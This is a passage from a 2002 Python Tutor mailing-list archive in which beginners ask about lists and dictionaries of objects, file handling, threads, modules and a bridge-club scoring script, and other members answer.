eat',2),('hallway','long',3)...] for r in rooms: listofrooms.append(apply(Room,r)) The dictionary option is similar: dictofrooms = {} rooms = [('kitchen','place to eat',2),('hallway','long',3)...] for r in rooms: dictofrooms[r[0]] = apply(Room,r) something like that. The end result is you have a bunch of room objects stored in either a list or dictionary (= Java hashtable). >I apologize if I'm not explaning myself clearly. This is >still pretty new to me and I'm not 100% sure how to phrase my >question. Hopefully the readers of this list are smart enough >to figure out what I'm saying though! ;) > >Britt It's not that you're unclear, it's just that you asked before, and people answered, so I was assuming you were after some different kind of information. Kirby From urnerk@qwest.net Sun Feb 3 22:16:40 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sun, 03 Feb 2002 14:16:40 -0800 Subject: [Tutor] (no subject) In-Reply-To: Message-ID: <4.2.0.58.20020203141506.019f8200@pop3.norton.antivirus> At 03:22 PM 2/3/2002 -0500, Daniel McCauley wrote: >Daniel McCaulley >United States, FL >E-mail: djm_gohan@hotmail.com >I really just want to know how to become a game hacker Is that someone who writes computer games, or someone who cracks copy protection on games written by others? The word "hacker" is broken, when it comes to telling these apart. Kirby From dyoo@hkn.eecs.berkeley.edu Sun Feb 3 22:14:03 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sun, 3 Feb 2002 14:14:03 -0800 (PST) Subject: [Tutor] Re:Newbie In-Reply-To: <3C5DAFDE.1080603@sympatico.ca> Message-ID: On Sun, 3 Feb 2002, Ramkumar Kashyap wrote: > I have just started programming and am using the "How to think like a > Computer Scientist: using Python" which is available for free on the > internet, just like Python. Here's the link to "How To Think Like a Computer Scientist": http://www.ibiblio.org/obp/thinkCSpy/ But you don't have to use thinkCSpy if it seems too formal --- there's also a bunch of Python tutorials here: http://python.org/doc/Newbies.html > I also find going through the tutorials provided with Python and > reading the online manuals also helps quite a bit, though may confuse > you at times. And when the manuals get confusing, please feel free to ask questions on Tutor; that's what we're here for. Anyway, hope this helps you! From grimmtoothtoo@yahoo.com Sun Feb 3 22:23:01 2002 From: grimmtoothtoo@yahoo.com (Grimmtooth) Date: Sun, 3 Feb 2002 17:23:01 -0500 Subject: [Tutor] Newbie question In-Reply-To: <3C5DAE34.7040607@sympatico.ca> Message-ID: > I am trying to open a txt file and count the number of lines. I am > trying to figure out if I need to use fileinput and lines() or will the > readlines() also give me the count. If you load the file into an array of one line per array member, you can then arrive at the number of lines by using the len() function. For example: And it so happens that the array you get from readlines() *is* one line per member. Just use len() on the array you read into and you'll know. One of the more endearing features of the language :-) _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From m_konermann@gmx.de Sun Feb 3 22:25:33 2002 From: m_konermann@gmx.de (Keule) Date: Sun, 03 Feb 2002 23:25:33 +0100 Subject: [Tutor] Sorry for Posting large Attachment ! Message-ID: <3C5DB8DD.4000308@gmx.de> Hi ! i get a lot of answers and see, that it was´nt a good idea to post my files with my email. sorry, i´m not so familiar in using mailinglists. i follow the advice of Danny Yoo and installed an ftp server with the following account for everyone who want to help me: keule.myftpsite.net user : guest pass: python port: 21 so, excuse me please and thanks a lot for all your help until now greetings Marcus From cheshire_cat_sf@yahoo.com Mon Feb 4 02:02:53 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sun, 3 Feb 2002 18:02:53 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] In-Reply-To: Message-ID: <20020204020253.68655.qmail@web14102.mail.yahoo.com> --- Danny Yoo wrote: > Although Python doesn't have arrays or Vectors, it does have a > similar > container class: Python has the 'list' type. Here's an example: Ah that's perfect. I had done something like this earlier but was unable to call class methods. I see my mistake now. Thank to everyone who helped me out! Britt ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Great stuff seeking new owners in Yahoo! Auctions! http://auctions.yahoo.com From rkashyap@sympatico.ca Mon Feb 4 04:15:20 2002 From: rkashyap@sympatico.ca (Ramkumar Kashyap) Date: Sun, 03 Feb 2002 23:15:20 -0500 Subject: [Tutor] What is missing? Message-ID: <3C5E0AD8.6010302@sympatico.ca> import os import time DIR = "D:\\dp_test" for filename in os.listdir(DIR): full_path = os.path.join(DIR, filename) myFile = open(full_path, 'r') inFile = open('dp_hr.txt', 'w') count = len(myFile.readlines()) print filename + ",", count inFile.write(filename + ', ' + string(count)) Hi! There are 325 files in the directory. The program works up until the print statement which displays all the 325 files with the corresponding lines contained in the respective files. The write statement only writes the last file and line_numbers for the last file. Should I put it in another loop? regards, Kumar From paulsid@shaw.ca Mon Feb 4 04:33:42 2002 From: paulsid@shaw.ca (Paul Sidorsky) Date: Sun, 03 Feb 2002 21:33:42 -0700 Subject: [Tutor] What is missing? References: <3C5E0AD8.6010302@sympatico.ca> Message-ID: <3C5E0F26.323F27B7@shaw.ca> Ramkumar Kashyap wrote: > inFile.write(filename + ', ' + string(count)) > There are 325 files in the directory. The program works up until the > print statement which displays all the 325 files with the corresponding > lines contained in the respective files. The write statement only writes > the last file and line_numbers for the last file. Should I put it in > another loop? Heh, be careful when assuming things about your code. The write statement will in fact write 325 times, its just you only SEE the last one because each time through the loop the call to open() inFile obliterates the old file. You can either move the infile = open... line outside the loop (on top), open inFile in 'a' (append) mode, or form a new output filename for each file. My personal preference would be for the first option. BTW two other comments: 1) Using 'inFile' for an output file is very confusing. 2) It's generally good practice to explicitly close files, even though in Python you don't really have to. Explicit closing helps document the code and helps ensure that what you want to happen is indeed what is happening. Hope that helps. -- ====================================================================== Paul Sidorsky Calgary, Canada paulsid@shaw.ca http://members.shaw.ca/paulsid/ From cheshire_cat_sf@yahoo.com Mon Feb 4 05:08:58 2002 From: cheshire_cat_sf@yahoo.com (Britt Green) Date: Sun, 3 Feb 2002 21:08:58 -0800 (PST) Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] In-Reply-To: Message-ID: <20020204050858.11725.qmail@web14108.mail.yahoo.com> Hello, After playing with this code, I've got a few questions I was hoping you could help me out with. --- Danny Yoo wrote: > ### > >>> class Person: > ... def __init__(self, name): > ... self.name = name > ... def sing(self): > ... print "tra la la, my name is", self.name > ... > >>> names = ['bart', 'lisa', 'marge', 'homer'] > >>> people = [] > >>> for n in names: > ... people.append(Person(n)) > ... Just wondering how this last line works. I've only created instances of a class by going: >>>lisa = Person() Apparently when you're adding classes to a list, the syntax is different? Do I understand this correctly? > That is, it might be nice to use the person's name to pull them from > our > list container. In that case, we can use a more appropriate data > structure, the dictionary: > > ### > >>> people_dict = {} > >>> for n in names: > ... people_dict[n] = Person(n) > ... > >>> people_dict['lisa'].sing() > tra la la, my name is lisa > ### Again, the syntax is a little different than what I'm used to. I've always never seen a dictionary done like this. Is it a case where the syntax is different since its being added to a list? Thanks! Britt ===== "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." __________________________________________________ Do You Yahoo!? Great stuff seeking new owners in Yahoo! Auctions! http://auctions.yahoo.com From lonetwin@yahoo.com Mon Feb 4 05:38:07 2002 From: lonetwin@yahoo.com (lonetwin) Date: Mon, 4 Feb 2002 11:08:07 +0530 Subject: [Tutor] [Q] about threads ...waiting :( In-Reply-To: References: Message-ID: <02020411080702.06205@mercury.worli> Hi All, ....ehe...I hate to do this, but since I did not get an answer I'm reposting this. If some thing of this sort is not possible, then could someone please suggest a workaround/hack ?? Thanx Steve On Saturday 02 February 2002 16:43, lonetwin wrote: > Hi everybody, > I'm playing around with threads using python on linux. Everthing is > working fine ...but (everything seems to have a "but" ...right ?? :)) I > can't seem to print a nice message and end the application, if there > is a KeyboardInterrupt generated. > As always I find saying things in code easier than expressing them > in plain english, so here goes: > > within my main I have something like: > ========================================= > for i in range(numThreads): > TestThread = TestApp(var, SharedLock) > ThreadList.append(TestThread) > > for TestThread in ThreadList: > TestThread.start() > > while threading.activeCount() > 1: > pass > > doCleanUp() > > ========================================= > ...and the class TestApp has something like: > ========================================= > def run(self): > self.lock.acquire() > doStuff() > self.lock.release() > ========================================== > Now, if a KeyboardInterrupt exception is raised during the execution of > doStuff(), how do I catch it, kill all the threads and exit the > application, probably printing "Aieee ....I got killed" on the way ?? > > I tried placing try-except blocks at different places, but all I got > done was exit the thread and print the message, somehow the other > threads were quite comfortable with the fact that one of them is dead, > they just go about their own business as though nothing has happened ... > > ......and like always, I'm going nuts, b'cos ... > ...I just don't get it !!!! > > any help would be welcome, > > Peace > Steve -- America works less, when you say "Union Yes!" From virketis@fas.harvard.edu Mon Feb 4 05:39:32 2002 From: virketis@fas.harvard.edu (Pijus Virketis) Date: Mon, 4 Feb 2002 00:39:32 -0500 Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] References: <20020204050858.11725.qmail@web14108.mail.yahoo.com> Message-ID: <008101c1ad3e$523a13c0$18adf78c@virketis2> Britt, > > >>> for n in names: > > ... people.append(Person(n)) > > ... > > Just wondering how this last line works. I've only created instances > of a class by going: There are three quite distinct steps happening here: 1. Make a list of data to be used for creating the objects and call it "names"; use a "for loop" (the bit of code above) to take each entry in the names and put it into the variable "n". 2. Instantiate a "Person" with a name "n"; 3. Store each class instance in the "people" list. The list.append() syntax belongs to the last step and has nothing to do with instantiating classes. In other words, the code above could be written more explicity thus: ### for name in names: new_person = Person(name) #instantiate class people.append(new_person) #append it to list ### Notice that while I name each Person instance "new_person", I keep overwritting it, because the people list is the thing that really lets me keep the instances separate. I no longer need to say Bob = Person("Bob") and John = Person("John"). I can just access them by calling people[0] and people[1]. Cheers, Pijus From toodles@yifan.net Mon Feb 4 05:49:06 2002 From: toodles@yifan.net (Andy W) Date: Mon, 4 Feb 2002 13:49:06 +0800 Subject: [Tutor] Instantiating large numbers of objects? [lists and dictionaries] References: <20020204050858.11725.qmail@web14108.mail.yahoo.com> Message-ID: <001701c1ad3f$aa736a40$3100a8c0@sun> > > >>> names = ['bart', 'lisa', 'marge', 'homer'] > > >>> people = [] > > >>> for n in names: > > ... people.append(Person(n)) > > ... > > Just wondering how this last line works. I've only created instances > of a class by going: > > >>>lisa = Person() > > Apparently when you're adding classes to a list, the syntax is > different? Do I understand this correctly? How do you mean? The initialisation of an instance is the same in and out of lists, and also the syntax used is the same for adding any type of item to a list. ie. the_list.append(item) Danny just skipped the step in which an instance is bound to a name (because it's unnecessary), and added it straight into the list. What I mean is, you could either do: person=Person() people.append(person) or the way Danny did it: people.append(Person()) Alternatively, if you will have your people "hard-coded", you might just have a predefined list of people: people=[Person("bart"), Person("lisa"), Person("marge"), Person("homer")] (BTW, I'm not sure if that "name" argument passed to the Person class was your idea or not to start with, Britt, but I just used it then to make it more clear) > > > > > That is, it might be nice to use the person's name to pull them from > > our > > list container. In that case, we can use a more appropriate data > > structure, the dictionary: > > > > ### > > >>> people_dict = {} > > >>> for n in names: > > ... people_dict[n] = Person(n) > > ... > > >>> people_dict['lisa'].sing() > > tra la la, my name is lisa > > ### > > Again, the syntax is a little different than what I'm used to. I've > always never seen a dictionary done like this. Is it a case where the > syntax is different since its being added to a list? How have you seen dictionaries used? Like following? some_dictionary={"predefined_1":"ning","predefined_2":"nang","predefined_3": "nong"} Also, it's not being added to a list. The dictionary is being subscripted, which accesses an existing key, or creates a new one if it doesn't exist. This is useful (as others pointed out) because it can then be used to access the Person(s) by "name". I'm not sure if that's helped at all now, because I couldn't actually think of anything much new to say... oh well. Andy W. > > Thanks! > > Britt > > ===== > "The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman." > > __________________________________________________ > Do You Yahoo!? > Great stuff seeking new owners in Yahoo! Auctions! > http://auctions.yahoo.com > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From wolf_binary@hotmail.com Mon Feb 4 05:56:15 2002 From: wolf_binary@hotmail.com (Cameron Stoner) Date: Sun, 3 Feb 2002 23:56:15 -0600 Subject: [Tutor] modular programming Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C1AD0E.5DB25440 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have a little bit of a confusion I need clearing up. 1. How does Python do modules? 2. How do you call or pass values to modules and then back again? Cameron ------=_NextPart_000_000A_01C1AD0E.5DB25440 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have a little bit of a confusion I = need clearing=20 up.
 
1.  How does Python do = modules?
2.  How do you call or pass values = to modules=20 and then back again?
 
Cameron
------=_NextPart_000_000A_01C1AD0E.5DB25440-- From jimmy_130@lycos.com Mon Feb 4 00:43:59 2002 From: jimmy_130@lycos.com (James M Lang) Date: Sun, 03 Feb 2002 19:43:59 -0500 Subject: [Tutor] How do I get Python on Mac? Message-ID: I've got an old Mac that I want to use. The problem is that it doesn't have internet access. MacPython is too big to be put on floppy disk so how can I split it up, put it on disks, and reassemble them on the Mac? And another thing, what is this "hacking" I keep hearing about? From rick@niof.net Mon Feb 4 04:33:01 2002 From: rick@niof.net (Rick Pasotto) Date: Sun, 3 Feb 2002 23:33:01 -0500 Subject: [Tutor] What is missing? In-Reply-To: <3C5E0AD8.6010302@sympatico.ca> References: <3C5E0AD8.6010302@sympatico.ca> Message-ID: <20020204043300.GA24064@tc.niof.net> On Sun, Feb 03, 2002 at 11:15:20PM -0500, Ramkumar Kashyap wrote: > > > import os > import time > > DIR = "D:\\dp_test" > for filename in os.listdir(DIR): > full_path = os.path.join(DIR, filename) > myFile = open(full_path, 'r') > inFile = open('dp_hr.txt', 'w') > count = len(myFile.readlines()) > print filename + ",", count > inFile.write(filename + ', ' + string(count)) > > Hi! > There are 325 files in the directory. The program works up until the > print statement which displays all the 325 files with the corresponding > lines contained in the respective files. The write statement only writes > the last file and line_numbers for the last file. Should I put it in > another loop? Every time through the loop you re-open (thus truncating) inFile. Just move that line above the loop and all will be well. -- Within the limits of equity, everything is to be accomplished through the free and perfectible initiative of man; nothing is to be achieved by law or by force save universal justice. -- Frédéric Bastiat (1801-1850) Rick Pasotto rickp@telocity.com http://www.niof.net From lonetwin@yahoo.com Mon Feb 4 08:15:50 2002 From: lonetwin@yahoo.com (lonetwin) Date: Mon, 4 Feb 2002 13:45:50 +0530 Subject: [Tutor] [Q] about threads ...waiting :( In-Reply-To: References: Message-ID: <02020413455001.07178@mercury.worli> Hi Karthik, Thanx for replying :). That's a nice idea, of setting a flag....and I feel so dumb now, for not thinking it up myself !!!! *<:) ....your solution should do the trick, I'll need to fix-up the locking problem but that shouldn't give me any trouble...(I hope !! :)) ...anyways, in case it does, I know who to ask :). Thanx once again, big help Ta Peace Steve -- To accuse others for one's own misfortunes is a sign of want of education. To accuse oneself shows that one's education has begun. To accuse neither oneself nor others shows that one's education is complete. -- Epictetus From m_konermann@gmx.de Mon Feb 4 08:51:48 2002 From: m_konermann@gmx.de (Keule) Date: Mon, 04 Feb 2002 09:51:48 +0100 Subject: [Tutor] Linking against python21_d.lib instead of python21.lib Message-ID: <3C5E4BA4.9050800@gmx.de> --------------010507080501080404050608 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Hi ! i get the following error from VC++ : Linker-Vorgang läuft... LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet werden Fehler beim Ausführen von link.exe. examplec.dll - 1 Fehler, 0 Warnung(en) so it seems, that VC++ tries to link the python21_d.lib file instead of the python21.lib file. i thought, that i already deactivated all debug informations in the compiler. Have anyone got an idea, where i can find these option ? Thanks a lot Marcus --------------010507080501080404050608 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi !

i get the following error from VC++ :

Linker-Vorgang läuft...
LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet werden
Fehler beim Ausführen von link.exe.

examplec.dll - 1 Fehler, 0 Warnung(en)


so it seems, that VC++ tries to link the python21_d.lib file instead of the python21.lib file.
i thought, that i already deactivated all debug informations in the compiler.
Have anyone got an idea, where i can find these option ?

Thanks a lot
Marcus
--------------010507080501080404050608-- From lha2@columbia.edu Mon Feb 4 10:56:53 2002 From: lha2@columbia.edu (Lloyd Hugh Allen) Date: Mon, 04 Feb 2002 05:56:53 -0500 Subject: [Tutor] help? References: Message-ID: <3C5E68F5.56470B5A@mail.verizon.net> Tim Wilson wrote: > end = raw_input("Press a key to end...") > > This will leave the window open until you press a key. In particular, the return key. Also, you spell "temperature" differently in the two places the word occurs. That will give you some sort of NameError or something. From python.tutorial@jarava.org Mon Feb 4 11:05:39 2002 From: python.tutorial@jarava.org (Javier JJ) Date: Mon, 4 Feb 2002 12:05:39 +0100 Subject: RV: RE: [Tutor] help? Message-ID: <008201c1ad6b$e238be40$931304d5@uno> Let's see if this time, it "catches on" the list :) Javier ----- Mensaje original ----- De: "Javier JJ" Para: Enviado: domingo, 03 de febrero de 2002 21:09 Asunto: RE: [Tutor] help? > The "problem" is not that DOS closes, but that the program finishes. It > _does_ print the answer you want and, having finished the program, it exits. > Then windows (I guess you're usign windows :) closes the program window - so > it looks like DOS closing. > > It'd be easier if you first, open a DOS window, and then you run the program > from that window. In that way, once the program it's finished, the window > will remain open, and you'll be able to see the results... > > Hope that helps.. > > Javier > > PS: In any case, it helps when you ask a question to tell a little about the > system you're using (operating system, etc :) > > JJ > > > ----- Mensaje original ----- > De: Callum Golding > Para: tutor@python.org > Enviado: domingo, 03 de febrero de 2002 14:31 > Asunto: [Tutor] help? > > > I'm sorry to bother you, but i was wondering if you could give me a little > advice. I've recently downloaded Python 2.2. Ive read a begginers guide to > programming and tried creating a small program, I used the input function. > Now as soon as I open the program it goes into dos and asks me the question, > and when i type in an anwser, dos shuts down. Now its really starting to bug > me. If you could give me some advice I would be real grateful. The program I > wrote is below; - > > > tempetature = input("What is the temperature of the spam?") > > if temperature > 50: > print "The salad is properly cooked" > else: > print "Cook the salad some more" > > Mat.G > > Cheers > From mikalzet@libero.it Mon Feb 4 11:26:08 2002 From: mikalzet@libero.it (mikalzet@libero.it) Date: Mon, 4 Feb 2002 12:26:08 +0100 (CET) Subject: [Tutor] PyGreSQL problem In-Reply-To: <3C5C2AD9.3010509@venix.com> Message-ID: On Sat, 2 Feb 2002, Lloyd Kvam wrote: > My best guess is the Lemburg mxDateTime module. > http://www.lemburg.com/files/python/mxDateTime.html > mxDateTime - Date/time types for Python > > The mx doesn't appear in your Python code. simply import DateTime > and you are in business. This is a very comprehensive module. Thank you ! That worked. -- Michele Alzetta From grimmtoothtoo@yahoo.com Mon Feb 4 13:37:27 2002 From: grimmtoothtoo@yahoo.com (Grimmtooth) Date: Mon, 4 Feb 2002 08:37:27 -0500 Subject: [Tutor] What is missing? In-Reply-To: <3C5E0AD8.6010302@sympatico.ca> Message-ID: > DIR = "D:\\dp_test" > for filename in os.listdir(DIR): > full_path = os.path.join(DIR, filename) > myFile = open(full_path, 'r') > inFile = open('dp_hr.txt', 'w') > count = len(myFile.readlines()) > print filename + ",", count > inFile.write(filename + ', ' + string(count)) Where are you closing the files? _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From scarblac@pino.selwerd.nl Mon Feb 4 14:07:37 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Mon, 4 Feb 2002 15:07:37 +0100 Subject: [Tutor] modular programming In-Reply-To: ; from wolf_binary@hotmail.com on Sun, Feb 03, 2002 at 11:56:15PM -0600 References: Message-ID: <20020204150737.A23859@pino.selwerd.nl> On 0, Cameron Stoner wrote: > I have a little bit of a confusion I need clearing up. > > 1. How does Python do modules? Basically, a file defines a module, with the same name as the file (minus the .py). The module is executed when it is imported for the first time, and durings its execution it defines functions etc inside it. > 2. How do you call or pass values to modules and then back again? You don't call modules or pass values to them. However, you can for instance call a function in a module. Suppose we have the following files: #### somemodule.py def func(): print "This function just prints something" print "This is run when the module is imported" #### testprogram.py print "First, we import the module" import somemodule print "Now we can access things inside it, like func()" somemodule.func() #### I don't know what to add to this now. Chapter 6 of the Python tutorial (http://www.python.org/doc/current/tut/tut.html) is about modules; maybe you should read that, and come back with any more specific questions you have, what exactly you don't understand. -- Remco Gerlich From scarblac@pino.selwerd.nl Mon Feb 4 14:09:43 2002 From: scarblac@pino.selwerd.nl (Remco Gerlich) Date: Mon, 4 Feb 2002 15:09:43 +0100 Subject: [Tutor] What is missing? In-Reply-To: ; from grimmtoothtoo@yahoo.com on Mon, Feb 04, 2002 at 08:37:27AM -0500 References: <3C5E0AD8.6010302@sympatico.ca> Message-ID: <20020204150943.B23859@pino.selwerd.nl> On 0, Grimmtooth wrote: > > > DIR = "D:\\dp_test" > > for filename in os.listdir(DIR): > > full_path = os.path.join(DIR, filename) > > myFile = open(full_path, 'r') > > inFile = open('dp_hr.txt', 'w') > > count = len(myFile.readlines()) > > print filename + ",", count > > inFile.write(filename + ', ' + string(count)) > > Where are you closing the files? Closing them may look good and make your program a little more robust, but isn't usually necessary in Python. The moment that inFile refers to a new open file, the old file object is destroyed, and closed. That also happens when the programs finishes. -- Remco Gerlich From AKolinski@nriindustries.com Mon Feb 4 14:31:30 2002 From: AKolinski@nriindustries.com (Andrzej Kolinski) Date: Mon, 4 Feb 2002 09:31:30 -0500 Subject: [Tutor] my pet project (long) Message-ID: --0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E Content-type: text/plain; charset=us-ascii Hi, I worked a bit with my game file and was able to retrieve information I will, I imagine, be using later on to do my calculations. import string gameFile = open("c:\\Python22\\work\\0123x.txt","r") for line in gameFile.readlines(): line = string.strip(line) outData = string.split(line) gameList1 = outData[1], outData[3:5] gameList2 = outData[1], outData[6:8] print gameList1 print gameList2 gameFile.close() In order to get these lists of names and percentages I had to remove by hand from the file: - first three lines or so, - one column with MPs. (of course, for another game file I would have to do different weeding out as there are two sets of results, NS and WE and the MPs column is shorter). I tried to create some kind of results file (cPickle, shelf,...) but it didn't work for me. How can this be programmed? Is this set of list good enough for future use or it has to be saved as a file for example and how to do this? (See attached file: 0123x.txt)(See attached file: 0116x.txt) Thank you for your help so far and in advance as I will be asking you many, many times to come. _/_/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/ _/ _/ _/ _/ _/ _/ _/ _/ Andrzej Danny Yoo rkeley.edu> cc: tutor@python.org, andrzejk@idirect.com Sent by: Subject: Re: [Tutor] my pet project (long) tutor-admin@pytho n.org 01/31/02 05:04 PM On Tue, 29 Jan 2002, Andrzej Kolinski wrote: > I am a total newbie surrounded by Python books and tutorials. Before I > became the one (this was not difficult :-)) I tried to learn a bit of > C (I am glad I did not). I found Python and this mailing are the best > things for what I dream to do. I'm glad to hear you're enjoying things. > This is my pet project. I would like to write a python program that > allows me to maintain players' ranking for our bridge club. This sounds good. Let's see some of the things that you're planning: > - how to get the data from the results file, i.e. how to create a > table/file with each player's name associated with the pair's Pct > (what type of file/string operation applies)? You'll want to get familiar with opening files and reading whole strings from them. A secondary thing is to pull out individual chunks of string. Most tutorials talk about the input and output (IO) that's involved in reading files. Alan's tutorial talks about opening files here: http://www.freenetpages.co.uk/hp/alan.gauld/tutfiles.htm To pull out individual columns from a line of text, we can using a function called string.split(). An example might help show what it does: ### >>> sentence = "the digital information that underlies biochemistry, cell biology, and development can be represented by a simple string of G's, A's, T's and C's." >>> >>> string.split(sentence) ['the', 'digital', 'information', 'that', 'underlies', 'biochemistry,', 'cell', 'biology,', 'and', 'development', 'can', 'be', 'represented', 'by', 'a', 'simple', 'string', 'of', "G's,", "A's,", "T's", 'and', "C's."] >>> >>> string.split(sentence, ',') ['the digital information that underlies biochemistry', ' cell biology', " and development can be represented by a simple string of G's", " A's", " T's and C's."] ### This example shows that we can break up a string into a list of smaller strings, and we have some control over which delimiters Python decides to split on. By default, string.split() will split things up, treating spaces as column boundaries. Play around with string.split() a bit, and you'll get the hang of it quickly. It sounds like you also want to fiddle around with lists. > I want to include the last 8 games in these calculations and produce a For this case, we can say "last 8 elements of a list of games" with something like this: games[-8:] This is called an array slice, and it's very nice because it does allow us to use negative indices, which count backwards from the end of our list. > I want to include the last 8 games in these calculations and produce a > current club ranking list for players that participated at least in 4 > out of the last 8 games. This is very doable. One way we can make this easier to write is to make a function that tells us how many games a person has played in a list of games: ### def countPlayerParticipation(player, games): """Returns the number of times a player has participated in games.""" # ... dunno what this looks like yet... ### If we had such a function, then we can just march down a list of all the players, and pick out the ones in which countPlayerParticipation() is greater than 4. This sounds like a great project! Keep us informed of your progress, and please feel free to ask questions as you're writing it. _______________________________________________ Tutor maillist - Tutor@python.org http://mail.python.org/mailman/listinfo/tutor --0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E Content-type: application/octet-stream; name="0123x.txt" Content-Disposition: attachment; filename="0123x.txt" Content-transfer-encoding: base64 ICA2ICAgNjIuODggICQxMDUuNjQgICAJCSAgICAgRGFuaWVsYSBBbGVqc2thIC0gWm9maWEgS29u aXR6ZXINCiAgMiAgIDYxLjE4ICAkMTAyLjc5ICAgCQkgICAgIEFuZHJ6ZWogS29saW5za2kgLSBT dGFuaXNsYXcgUmFsY2V3aWN6DQogMTYgICA1NS45MSAgICQ5My45MyAgIAkJICAgICBBbGVrc2Fu ZGVyIENpY2hvY2tpIC0gWmJpZ25pZXcgUGFua2lld2ljeg0KIDExICAgNTUuNDkgICAkOTMuMjIg ICAJCSAgICAgV2llc2xhdyBTemN6ZXJib3dza2kgLSBaYmlnbmlldyBaaW9sa293c2tpDQogIDMg ICA1NS40OCAgICQ5My4yMSAgIAkJICAgICBIZW5yeWsgUmFzdG9uIC0gVGFkZXVzeiBXaWRtb250 DQogMTMgICA1My4wMiAgICQ4OS4wNyAgICAgICAgICAgICAgICAgS3J6eXN6dG9mIEtvd2Fsc2tp IC0gTWllY3p5c2xhdyBMYXNrb3dza2kNCiAxNCAgIDUyLjQyICAgJDg4LjA2ICAgICAgICAgICAg ICAgICBBZGFtIFphY2hhcmEgLSBCcnVubyBaZHppZW5pY2tpDQogMTAgICA1Mi4yMSAgICQ4Ny43 MiAgICAgICAgICAgICAgICAgUmFkZWsgQ2hyYWJhbG93c2tpIC0gQW5kcnplaiBLaXRhDQogMTIg ICA0OS4zMSAgICQ4Mi44NCAgICAgICAgICAgICAgICAgQmFyYmFyYSBGaWxpcGN6dWsgLSBKZXJ6 eSBIcnluaWV3aWVja2kNCiAgNSAgIDQ2Ljg5ICAgJDc4Ljc4ICAgICAgICAgICAgICAgICBKYW51 c3ogSGFudXMgLSBNYWxnb3J6YXRhIEx1a2FzaWFrDQogIDEgICA0NS45NiAgICQ3Ny4yMSAgICAg ICAgICAgICAgICAgU3RhbmlzbGF3IEdydWR6aW5za2kgLSBBbmRyemVqIEhlbXBlbA0KICA3ICAg NDQuMTMgICAkNzQuMTQgICAgICAgICAgICAgICAgIEtyeXN0eW5hIFN6YWRrb3dza2EgLSBSb2Jl cnQgU3pjenVyZWsNCiAxNSAgIDQyLjkwICAgJDcyLjA3ICAgICAgICAgICAgICAgICBJcmVuZXVz eiBCYWN6ZWsgLSBGcmVkIFN6b2JsaWsNCiAgOCAgIDQyLjAyICAgJDcwLjYwICAgICAgICAgICAg ICAgICBSeXN6YXJkIExld2FuZG93c2tpIC0gWmJpZ25pZXcgU2VrdWxhDQogIDQgICA0MC4zOSAg ICQ2Ny44NiAgICAgICAgICAgICAgICAgSnVsaWFuIEdhbGFzIC0gV2FuZGEgR2FsYXMNCiAgOSAg IDM5LjgwICAgJDY2Ljg3ICAgICAgICAgICAgICAgICBXb2pjaWVjaCBTYW1ib3IgLSBNYXJ5bGEg V2FjaG93aWFrDQo= --0__=0ABBE1C5DFDC154E8f9e8a93df938690918c0ABBE1C5DFDC154E Content-type: application/octet-stream; name="0116x.txt" Content-Disposition: attachment; filename="0116x.txt" Content-transfer-encoding: base64 DQpUdXJuaWVqIFBhcmFtaSAoTUFYLVkpIFdlZG5lc2RheSBFdmUgU2Vzc2lvbiBKYW51YXJ5IDE2 LCAyMDAyDQoNCg0KU2NvcmVzIGFmdGVyIDI4IGJvYXJkcyAgQXZlcmFnZTogICA4NC4wICAgICAg U2VjdGlvbiAgQSAgTm9ydGgtU291dGgNClBhaXIgICAgUGN0ICAgU2NvcmUgIFJhbmsgICBNUHMg ICAgIA0KICA3ICAgNjYuOTYgIDExMi41MCAgIDEgICAgMC44MCAgICAgQWRhbSBLb2h1dCAtIFpi aWduaWV3IFN0YW5raWV3aWN6DQogIDEgICA1NS4wNiAgIDkyLjUwICAgMiAgICAwLjU2ICAgICBU YWt5IEJvaG9zc2lhbiAtIFN0YW5pc2xhdyBSYWxjZXdpY3oNCiAgMiAgIDQ4LjUxICAgODEuNTAg IDMvNCAgIDAuMzQgICAgIFN0YW5pc2xhdyBHcnVkemluc2tpIC0gQW5kcnplaiBIZW1wZWwNCiAg MyAgIDQ4LjUxICAgODEuNTAgIDMvNCAgIDAuMzQgICAgIEhlbnJ5ayBSYXN0b24gLSBUYWRldXN6 IFdpZG1vbnQNCiAgNiAgIDQ2LjQzICAgNzguMDAgICAgICAgICAgICAgICAgIERhbmllbGEgQWxl anNrYSAtIFpvZmlhIEtvbml0emVyDQogIDQgICA0Ni4xMyAgIDc3LjUwICAgICAgICAgICAgICAg ICBKdWxpYW4gR2FsYXMgLSBXYW5kYSBHYWxhcw0KICA1ICAgMzguMzkgICA2NC41MCAgICAgICAg ICAgICAgICAgSmFudXN6IEhhbnVzIC0gTWFsZ29yemF0YSBMdWthc2lhaw0KDQpUdXJuaWVqIFBh cmFtaSAoTUFYLVkpIFdlZG5lc2RheSBFdmUgU2Vzc2lvbiBKYW51YXJ5IDE2LCAyMDAyDQpTY29y ZXMgYWZ0ZXIgMjggYm9hcmRzICBBdmVyYWdlOiAgIDg0LjAgICAgICBTZWN0aW9uICBBICBFYXN0 